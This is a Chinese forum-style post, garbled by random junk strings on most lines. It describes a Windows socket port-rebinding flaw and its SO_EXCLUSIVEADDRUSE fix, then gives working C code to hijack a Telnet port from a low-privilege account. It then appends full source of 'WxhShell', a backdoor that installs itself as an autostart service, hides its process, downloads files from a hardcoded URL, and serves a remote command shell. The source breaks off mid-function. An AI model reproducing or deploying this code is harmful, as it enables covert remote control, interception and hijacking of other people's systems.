在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
KJ (|skO s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
W2>VgMR [ Y(mnGaVn saddr.sin_family = AF_INET;
x_L5NsO: t9l]ie{"o. saddr.sin_addr.s_addr = htonl(INADDR_ANY);
$Iz *W]B! 9t8NK{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
uSQlE= -qyhg-k6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|!m8JV|x ExKyjWAJ 这意味着什么?意味着可以进行如下的攻击:
u0;k_6N Nhf@Y}Cu 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
e92,@ 2y`X) 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
KwAc Ga}J pGRk 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
K&4FFZ Wr+/9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
.RW&=1D6 2p %j@O 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
zQ~N(Jj?h _~Id~b 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
GHWt3K:*w @b&_xT 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
um,G^R ]621Z1 #include
4$oDq #include
TTagZI$ #include
0<FT=tKm #include
EQ [K DWORD WINAPI ClientThread(LPVOID lpParam);
L/ g8@G
; int main()
zFi)R }Ot {
W\EvMV" WORD wVersionRequested;
l6T^e@* DWORD ret;
y0]"qB WSADATA wsaData;
\ gO!6 BOOL val;
O>y*u 8 SOCKADDR_IN saddr;
Xk] uXx:TN SOCKADDR_IN scaddr;
!&adO,jN+= int err;
V7<w9MM SOCKET s;
fnJx$PD~ SOCKET sc;
.k -!/ ^ int caddsize;
GLp~SeF# HANDLE mt;
w,*#z DWORD tid;
&|fPskpy wVersionRequested = MAKEWORD( 2, 2 );
XwZR
Kh\>= err = WSAStartup( wVersionRequested, &wsaData );
,K15KN.' if ( err != 0 ) {
a)S{9q}%
printf("error!WSAStartup failed!\n");
Cy\ o{6 return -1;
I]ZksC }
r XT6u saddr.sin_family = AF_INET;
:z-?L0C=0 fl8eNiE| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
uCx6/n6' ujW C!*W(Q saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7Y.mp9, saddr.sin_port = htons(23);
C1==a FD if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Q_6v3no1 {
BU<Qp$& printf("error!socket failed!\n");
kx%\Cz return -1;
o&$Of }
6 \?GY val = TRUE;
V'FKgzd //SO_REUSEADDR选项就是可以实现端口重绑定的
#Xk/<It if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
8I~*9MUp {
{nMCU{*k printf("error!setsockopt failed!\n");
{)I&&fSz return -1;
o'_eLp }
SaOOD-u //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Mtaky=l8~I //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
*P\OP'o_ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
=4uO"o _"t"orD6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
|JiN;
O+K {
j9/hZqo ret=GetLastError();
bE!z[j] printf("error!bind failed!\n");
b63DD( return -1;
+h? Gps }
[:/mjO K listen(s,2);
ky{@*fg. while(1)
=d$m@rc0r {
T"e"?JSRJ caddsize = sizeof(scaddr);
)TcD-Jr //接受连接请求
C:_-F3|]cJ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
S;"$02] if(sc!=INVALID_SOCKET)
J;k8 a2$_ {
E J&w6),d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
h
^Wm03w if(mt==NULL)
)_kU,RvZ {
m'KEN<)s printf("Thread Creat Failed!\n");
ll
^I;o0 break;
a|ZJzuqo }
v2ab84
C* }
,Vy_%f CloseHandle(mt);
$\aJ.N6rb }
4|hfzCjMI closesocket(s);
7g4IAsoD WSACleanup();
?NxaJ^ return 0;
U9XOs)^ }
0pBG^I`_ DWORD WINAPI ClientThread(LPVOID lpParam)
CN6b982& {
;?{OX SOCKET ss = (SOCKET)lpParam;
?'si^N SOCKET sc;
_z@_.%P\ unsigned char buf[4096];
m' eM&1Ba SOCKADDR_IN saddr;
n{!=gR.v. long num;
gMPvzBpP DWORD val;
h$d`Jmaq DWORD ret;
=&mdxKoT0 //如果是隐藏端口应用的话,可以在此处加一些判断
eI/@ut}v //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
)%q )!x saddr.sin_family = AF_INET;
{3BWT saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
6n^vG/.M saddr.sin_port = htons(23);
^@$T>SB1 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|H%,>r`9S {
VO<P9g$UD printf("error!socket failed!\n");
~Efi|A/ return -1;
fS4 Ru }
EdCcnl?R6 val = 100;
SpMHq_MLM if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
36d6KS 7 {
#Wt1Ph_; ret = GetLastError();
~"cqFdnO return -1;
,[u.5vC }
~,{nBp9* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
qdZo
cTf' {
Z#@<|{eI ret = GetLastError();
%.s"l6 W return -1;
!Xzy: }
V0*9Tnc if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{qFAX<{D {
[?n}?0 printf("error!socket connect failed!\n");
<$8e;:#: closesocket(sc);
Zzv,p closesocket(ss);
(kJ"M4*<F' return -1;
fRt&-z(' }
qbo
W<W<H1 while(1)
S^)xioKsJ {
\; zix(N[5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
`llSHsIkXb //如果是嗅探内容的话,可以再此处进行内容分析和记录
N
lB%Qu //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
b|U3\Fmc num = recv(ss,buf,4096,0);
b(_PV#@$ if(num>0)
5xc-MkIRL send(sc,buf,num,0);
-P'c0I9z else if(num==0)
eSSv8[u break;
0*:4@go0}i num = recv(sc,buf,4096,0);
b$}@0 if(num>0)
6S?*z
`v send(ss,buf,num,0);
FD^s5>"Y+ else if(num==0)
mg
*kB:p break;
#.<(/D+ }
AeEF/* closesocket(ss);
Es+BV+x[.c closesocket(sc);
M!iYj+nrP return 0 ;
(ChL$!x }
r%II`
i CQ#%v% 5x}OrfDU ==========================================================
vH vwH FhMl+Ou
下边附上一个代码,,WXhSHELL
oHx =Cg; 0^3@>>^ ==========================================================
~'/_q4 1{bsh?zd #include "stdafx.h"
lHSuT2)x; fg8U*7 #include <stdio.h>
!,N),xG}~ #include <string.h>
S.NLxb/ #include <windows.h>
`L
{dF #include <winsock2.h>
Sv03="& #include <winsvc.h>
}'Yk#Q #include <urlmon.h>
l}mzCIw% 0V?:5r< #pragma comment (lib, "Ws2_32.lib")
3,{tGNl| #pragma comment (lib, "urlmon.lib")
#'Lt_Yf! =]F15:%Zq #define MAX_USER 100 // 最大客户端连接数
\B
D'" #define BUF_SOCK 200 // sock buffer
.p(~/MnO #define KEY_BUFF 255 // 输入 buffer
=j !Ruy1 .{LJ #define REBOOT 0 // 重启
I)F3sS45} #define SHUTDOWN 1 // 关机
#zc{N"! j?P8&Fm< #define DEF_PORT 5000 // 监听端口
D[R<H(( JheF}/Bx #define REG_LEN 16 // 注册表键长度
"K-2y^Dl #define SVC_LEN 80 // NT服务名长度
.+hM1OF`x #[ hJm'G // 从dll定义API
9oJ=:E~CP typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
r2
o-/$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
N;d@)h(N! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*27*&&=)H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
m'suAj0 6GtXM3qtS // wxhshell配置信息
gDjs:]/YR struct WSCFG {
XxEKv=_bc int ws_port; // 监听端口
0YVkq?1x9 char ws_passstr[REG_LEN]; // 口令
xt"GO
b int ws_autoins; // 安装标记, 1=yes 0=no
Ga}&% char ws_regname[REG_LEN]; // 注册表键名
5\$8"/H char ws_svcname[REG_LEN]; // 服务名
p;m2RHYF char ws_svcdisp[SVC_LEN]; // 服务显示名
}w8:`g'T0/ char ws_svcdesc[SVC_LEN]; // 服务描述信息
1A b=1g{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
edD"jq)J int ws_downexe; // 下载执行标记, 1=yes 0=no
VC@{cVT char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
@AU<'?k char ws_filenam[SVC_LEN]; // 下载后保存的文件名
R2$;f?;: f6Io|CZWJ };
9K5[a^q|My @( H // default Wxhshell configuration
=~~Y@eX struct WSCFG wscfg={DEF_PORT,
RAW(lZ(
"xuhuanlingzhe",
QBiLH]qa 1,
~wsDg[ "Wxhshell",
P2;I0 ! "Wxhshell",
0qrsf! "WxhShell Service",
*PJg~F% "Wrsky Windows CmdShell Service",
79 ZBVe(} "Please Input Your Password: ",
-O-qEQd 1,
T5+iX`#M "
http://www.wrsky.com/wxhshell.exe",
l ,T*b "Wxhshell.exe"
YaDr.?
};
$!_]mz6* ,
1{)B // 消息定义模块
uM9[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
'9MtIcNb char *msg_ws_prompt="\n\r? for help\n\r#>";
RuHMD" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
9(( QSX char *msg_ws_ext="\n\rExit.";
aGY F\7 char *msg_ws_end="\n\rQuit.";
51k^?5cO char *msg_ws_boot="\n\rReboot...";
F!;0eS"xp char *msg_ws_poff="\n\rShutdown...";
A+lP]Oy0S char *msg_ws_down="\n\rSave to ";
Qpc+1{BQ &S"ojbb char *msg_ws_err="\n\rErr!";
EK6fd#J?1 char *msg_ws_ok="\n\rOK!";
:}Tw+S5 R~],5_| char ExeFile[MAX_PATH];
3./4] _p int nUser = 0;
RrDNEwAr HANDLE handles[MAX_USER];
OyG$ ]C int OsIsNt;
P]@m0f [fU2$(mT+ SERVICE_STATUS serviceStatus;
)MKzAAt~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
;hOrLy&O &T8prE? // 函数声明
/ 1jb8w' int Install(void);
Tv&-n int Uninstall(void);
{1y-*@yU( int DownloadFile(char *sURL, SOCKET wsh);
"gD)Uis int Boot(int flag);
a
N| MBX; void HideProc(void);
:>.~"uWo{ int GetOsVer(void);
3P!Jw7e int Wxhshell(SOCKET wsl);
1Yy5bg6+E void TalkWithClient(void *cs);
E(e'qL int CmdShell(SOCKET sock);
iG1vy'J#o int StartFromService(void);
ncluA~ 8 int StartWxhshell(LPSTR lpCmdLine);
/?jAG3" tndtwM*B' VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
5CxD ys&< VOID WINAPI NTServiceHandler( DWORD fdwControl );
D 5q Cn^R 1|VnPQqA // 数据结构和表定义
wPDA_ns~ SERVICE_TABLE_ENTRY DispatchTable[] =
wyk4v} {
se9X {wscfg.ws_svcname, NTServiceMain},
J@y1L]: {NULL, NULL}
mACj>0Z' };
uhFj|r$$ AWP CJmr // 自我安装
vmW4 3K; int Install(void)
h,q%MZ==^s {
L_.BcRy char svExeFile[MAX_PATH];
9IKFrCO9, HKEY key;
VN[h0+n4Th strcpy(svExeFile,ExeFile);
/!kKL$j g(\FG // 如果是win9x系统,修改注册表设为自启动
63d'
fgVp if(!OsIsNt) {
L[d7@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Y#_,Ig5. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
d*Y&V$?zl RegCloseKey(key);
"qRE1j@%a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
T1pA
<6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
xD;5z`A3 RegCloseKey(key);
A+T!DnVof return 0;
)z9)oM\ }
j5ZeYcQ- }
t)LD-%F }
kL,{H~iq; else {
Memz>uux H'E>QT // 如果是NT以上系统,安装为系统服务
AlNiqnZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
}!\ZJo a if (schSCManager!=0)
8YAUy\ {
0+0+%#? SC_HANDLE schService = CreateService
e g#.f` (
u0^:
XwZ! schSCManager,
E0^~i:Mk wscfg.ws_svcname,
:luVsQ wscfg.ws_svcdisp,
E8WOXoP( SERVICE_ALL_ACCESS,
LoLmT7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
&inu mc SERVICE_AUTO_START,
8H3|i7.1h SERVICE_ERROR_NORMAL,
@eN x:} svExeFile,
)eNR4nF NULL,
maLKUSgo NULL,
e%&2tf4 NULL,
}u&.n
pc NULL,
/i$
mIj` NULL
^zHBDRsb2F );
15_OtK if (schService!=0)
_PrK6M@"L {
.N8AkQ(Ok CloseServiceHandle(schService);
<jT6|2' CloseServiceHandle(schSCManager);
K*Zf^g
m strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
#CoJ S[t strcat(svExeFile,wscfg.ws_svcname);
P=eVp(/x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
p6]4YGw*^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
_|xO4{X RegCloseKey(key);
4G&E? return 0;
RV5X0 }
Crmxsw.W^Y }
l;:
L0((' CloseServiceHandle(schSCManager);
'D8WNZ8Q }
w1/pwzn }
U7.3`qd" ~]DGf( return 1;
V<AT"vU[ }
3qPj+@ j0!Z 20 // 自我卸载
m]BxGwT=m int Uninstall(void)
A^2VH$j]+ {
"W;GvI
HKEY key;
C)`k{(-{ n4+l,~ if(!OsIsNt) {
0.C y4sH' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_rXTHo7P RegDeleteValue(key,wscfg.ws_regname);
u~\u8X3 RegCloseKey(key);
^#2w::Ds}! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ppjd. RegDeleteValue(key,wscfg.ws_regname);
jpZ, $ RegCloseKey(key);
;sCf2TD,_ return 0;
\5 IB/* }
Yjv}@i" }
./LD }
>tnQuFKg] else {
zRdL-u%(# );V6YE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
TU{^/-l if (schSCManager!=0)
Y 9] {
~U#afGH$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
W~E%Eq3 if (schService!=0)
tgH@|Kg {
y^tuybpZY< if(DeleteService(schService)!=0) {
Qx|m{1~- CloseServiceHandle(schService);
<Yu}7klJE CloseServiceHandle(schSCManager);
twU^ewO& return 0;
W}bed],l }
Vo<V!G{ CloseServiceHandle(schService);
tvynl;Y/ }
b[Sd$ACd CloseServiceHandle(schSCManager);
j2SJ4tB / }
* F%Wf }
EV|
6._Z(D cdfJa return 1;
Mib(J+Il }
%mPIr4$Pg '9%72yG // 从指定url下载文件
R)d1]k8 int DownloadFile(char *sURL, SOCKET wsh)
, j^ /~ {
MZ
o\1tU-i HRESULT hr;
z=B*s!G char seps[]= "/";
$^?"/;8P5 char *token;
%KK6}d# char *file;
{A]"/AC char myURL[MAX_PATH];
R9nW5f
Nf char myFILE[MAX_PATH];
-hw^3Af }YWLXxb; strcpy(myURL,sURL);
?Z=
%I$i token=strtok(myURL,seps);
AJt*48H*G while(token!=NULL)
:@{(^}N8u {
JsI`# file=token;
#L5H-6nz token=strtok(NULL,seps);
R!b<Sg }
P:vAU8d> C-lv=FJEk/ GetCurrentDirectory(MAX_PATH,myFILE);
Ecp]fUQK strcat(myFILE, "\\");
`"zXf -qeE strcat(myFILE, file);
^WQ.' G5Q send(wsh,myFILE,strlen(myFILE),0);
yEIM58l send(wsh,"...",3,0);
YKKZRlQo hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
hRTw8-wy: if(hr==S_OK)
G=Hvh=K( return 0;
OAO|HH else
FIhq>L.q4 return 1;
F7lhLly SYd4 3PA }
"s[wLclfG 8)HUo?/3 // 系统电源模块
|l)SX\Qf`@ int Boot(int flag)
_SdO}AiG {
]:jP*0bLx HANDLE hToken;
fTd=}zY TOKEN_PRIVILEGES tkp;
ZN#mu]jC? cO%-Av~P if(OsIsNt) {
IHHL. gT OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
}A,9` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ekC
1wN
l tkp.PrivilegeCount = 1;
AL@8v= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
p&dpDJ?d:= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
VWf&F`^B( if(flag==REBOOT) {
9` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
%^tKt return 0;
wb~BY }
b>SG5EqU@ else {
V
.+ mK|) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
4H'\nsM return 0;
x9Um4!/t }
l# u$w& }
xa#;<8 iV else {
XE8>&&X if(flag==REBOOT) {
T1AD(r\W5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
hB/4.K ]8 return 0;
a!rU+hiC }
__N<
B5E else {
-P#PyZEH&I if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Ahl-EVIr< return 0;
4.Luy }
-{[5P! }
Nki08qZ[ tNP>6F/ return 1;
+l'l*< }
N?7MYP MYNNeO // win9x进程隐藏模块
VwJ A void HideProc(void)
DmzK* O{ {
v$~1{}iI5 $>^DkrOd HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%S*<2F9
if ( hKernel != NULL )
UF37|+"E {
b7-M'-Km0_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;;>hWAS ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
rywui10x* FreeLibrary(hKernel);
*Rm"3S }
ws}cMX]* Xa o*h(Q@L return;
,',
S }
)B"k;dLm W^dk: // 获取操作系统版本
})#VO-J int GetOsVer(void)
-DAkVFsN {
xib?XzxGo OSVERSIONINFO winfo;
!@>_5p>q* winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Vx'82CIC GetVersionEx(&winfo);
rdj_3Utv if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
fv@mA -- return 1;
3an9Rb V else
YA+jLy6ZL return 0;
9ZXkuP9vm }
.M(')$\U >-S? rXO // 客户端句柄模块
/wAx#[c[ int Wxhshell(SOCKET wsl)
Nk
JOD3>U {
9t$#!2z SOCKET wsh;
*Wbs{>&No struct sockaddr_in client;
P"-*'q,9 DWORD myID;
~l {*XM AS1#_fC while(nUser<MAX_USER)
<'T:9 {
8Dy5g int nSize=sizeof(client);
B'NtG84 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
VrQgn9L if(wsh==INVALID_SOCKET) return 1;
xE>jlr? I:|<};mm handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Fw{:fFZC[ if(handles[nUser]==0)
h@kq>no closesocket(wsh);
WZ@hP'Zc else
2uSXC*Phz nUser++;
c/Dk*.xy< }
O$eNG$7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\_vjc]? a7Mn/ i. return 0;
"FD`1 }
gWk?g^KJL 0Y>5& // 关闭 socket
pseN!7+or void CloseIt(SOCKET wsh)
Fal##6B {
EKgY closesocket(wsh);
r!+..c nUser--;
yN@3uYBF ExitThread(0);
+DsdzR`Gx, }
k`we_$/Gw cMU"SO // 客户端请求句柄
lwSZpS void TalkWithClient(void *cs)
}yzCq+ {
*VX"_C0Jy= \=1$$EDS9 SOCKET wsh=(SOCKET)cs;
s!IX3rz char pwd[SVC_LEN];
APgjT';P^ char cmd[KEY_BUFF];
NZb}n`: char chr[1];
"1P[D'HV4| int i,j;
AONEUSxJ Tv[|^G9x while (nUser < MAX_USER) {
Tv[h2_+E a Fh9B\n if(wscfg.ws_passstr) {
y:HH@aa) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
olv0w;s //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@k-C>h()C //ZeroMemory(pwd,KEY_BUFF);
s'4O]k` i=0;
G'U ! # while(i<SVC_LEN) {
V?L8BRnV \V(w= // 设置超时
w!%"b03q fd_set FdRead;
4j1$1C{ struct timeval TimeOut;
Wa5B;X~ FD_ZERO(&FdRead);
eS: 8Pn FD_SET(wsh,&FdRead);
+dG3/vV TimeOut.tv_sec=8;
Hk8lHja+\ TimeOut.tv_usec=0;
_|Uv7>}J^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
_j\GA6 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
XN^l*Q?3n %O|+`" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
0SV<Pl^ pwd
=chr[0]; eF"k"Ckt'
if(chr[0]==0xd || chr[0]==0xa) { y9Q#%a8V
pwd=0; B"Ma<"HU
break; ey]WoUZ
} <*Gd0 v%
i++; a$=He
} `nCVO;B
O#@G
.~n?
// 如果是非法用户,关闭 socket :Ahw{z`H#
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >Jk]=_%
} ^O3i)GO
p:NIRs
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |yinV fZ0C
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j.ZXLe~
\
z3>kvk
while(1) { ^~1Z"kAnT
^)E#
c
ZeroMemory(cmd,KEY_BUFF); HfPu~P
zCdcwTe
// 自动支持客户端 telnet标准 p:;`X!
j=0; %Ze]6TP/><
while(j<KEY_BUFF) { w{WEYS
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qKD
Nw8>
cmd[j]=chr[0]; b5S4C2Ynq
if(chr[0]==0xa || chr[0]==0xd) { R=J5L36F
cmd[j]=0; @~QI3)=s
break; ?j;,:n
} ~f:"Q(f+
j++; msVi3`q~
} Qt\^h/zjG
Q*N{3G!
// 下载文件 R $@$
if(strstr(cmd,"http://")) { "-Yj~
send(wsh,msg_ws_down,strlen(msg_ws_down),0); z5J$".O`
if(DownloadFile(cmd,wsh)) (nwp s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jdIAN
else OWc~=Cr
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I}+9@d
} X7rsO^}W
else { J(:y-U
90 >V he
switch(cmd[0]) { 7NRm\%^q
kIR/.Ij}
// 帮助 []$L"?]0uk
case '?': {
u]OYu
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +~V)&6Vn
break; 5.LfN{gE)
} +1]A$|qyW
// 安装 f28bBuv1?
case 'i': { f~R+Q/Gtz`
if(Install()) w! PguP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '!F'B:
else bao"iv~z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FeNNzV=
break; qfX26<q
} =gB8(1g8
// 卸载 >9NC2%61S
case 'r': { "&/lF[q
if(Uninstall()) @A|#/]S1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \hWac%#
else -zzoz x]S=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %NDr5E^cc
break; ,h9?o
} $)eS Gslz
// 显示 wxhshell 所在路径 @*roW{?!
case 'p': { U4[GA4DZ
char svExeFile[MAX_PATH]; 2wJa:=$
strcpy(svExeFile,"\n\r"); KE6XNG3
strcat(svExeFile,ExeFile); },@ex
send(wsh,svExeFile,strlen(svExeFile),0); fDRG+/q(+
break; F5y&"Y_
} ~RH)iI
// 重启 cua ( w
case 'b': { n1x"B>3
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WXY-]ir.
if(Boot(REBOOT)) M.HMnN#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G+&pq
else { e$Mvl=NYp\
closesocket(wsh); \EXa 9X2
ExitThread(0); ~)VI`36X
} 4Y{;%;-i
break; [C\B2iU7_M
} g;Zy3
// 关机 kA> e*6
case 'd': { /I((A/ks
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yp[,WZt
if(Boot(SHUTDOWN)) .%!^L#g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TT no
else { FKPR;H8>
closesocket(wsh); G+2 ,x0(
ExitThread(0); R9(Yi<CC
} ^]D+H9Tl
break; ^wD`sj<Qg
} ~(#iGc]7
// 获取shell 7X)4ec9H\
case 's': { 0cDP:EzR;
CmdShell(wsh); RL)~J4Y
closesocket(wsh); 8rjD1<
ExitThread(0);
?\kuP ?\
break; U^eos;:s8
} +* j8[sz
// 退出 LIrebz
case 'x': { 06M?ecN
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JL>frS3M
CloseIt(wsh); 2liJ^ `
break; gm%cAme
} D &@Iuo
// 离开 ?bpVdm!
case 'q': { -:kIIK
send(wsh,msg_ws_end,strlen(msg_ws_end),0); J"Fp),
closesocket(wsh); (L1F],Au
WSACleanup(); >_\[C?8
exit(1); Zu<S<??Jf
break; -w>ss&
} 5^R?+<rd
} X7[gfKGL)N
} $$uMu{?0i
M%Ksyr9
// 提示信息 eco&!R[G
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [[pt~=0
} K- $,:28
} &YcOmI/MM
i"=lxqWeaV
return; dWY{x47
} m@u%3*:
mYj)![
// shell模块句柄 GwfC l{l
int CmdShell(SOCKET sock) i]s%tEZ1
{ Y%?*Lj|
STARTUPINFO si; bdY:-8!3
ZeroMemory(&si,sizeof(si)); nt+OaXe5D
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~A1!!rJX
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }-J0cV
PROCESS_INFORMATION ProcessInfo; NuOxEyC
char cmdline[]="cmd"; }%-iJ\
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $PI9vyS
return 0; YRCs&tgs
} mU~&oU
N'-[>w7vK2
// 自身启动模式 qE|syA9
int StartFromService(void) .ANR|G
{ hSR+7qN<e
typedef struct c/ih%xR
{ .c:h!-D;
DWORD ExitStatus; (Zd(?">i
DWORD PebBaseAddress; FUlhEH
DWORD AffinityMask; Ibu9AwPm
DWORD BasePriority; {~uTi>U
ULONG UniqueProcessId; zsd1n`r
